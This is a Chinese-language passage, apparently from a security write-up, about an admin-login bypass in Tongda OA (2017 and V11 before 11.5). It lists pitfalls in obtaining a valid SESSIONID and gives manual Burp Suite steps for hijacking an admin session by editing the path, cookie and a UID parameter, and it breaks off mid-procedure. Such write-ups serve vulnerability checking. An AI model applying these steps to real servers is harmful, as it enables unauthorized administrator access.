return session_list说下这个漏洞的坑有哪些： 1、这个漏洞不是单纯的get即可，是需要发起请求出发漏洞获取到可用的SESSIONID，然后替换浏览器Cookie中的SESSIONID才可实现登录为admin； 2、SESSIONID根据通达OA版本不同而不同使用，目前影响版本有通达OA2017、V11.X<V11.5，但根据我实测的结果，貌似使用同一个版本的SESSIONID都可以触发漏洞，疑似漏洞对版本向下兼容，这个有懂的可以说下； 3、甲方企业内部自查尽量是采用多线程，配合资产管理系统使用最佳；
手动复现细节部分（burpsuite的repeater）:
需要替换三处:
1.地址替换为/general/index.php
2.我们通过poc获取的PHPSESSID
3.把下面不管是什么 encode_type=1 后面的都替换成UID=1 （如图高亮部分）
然后我们send过去:
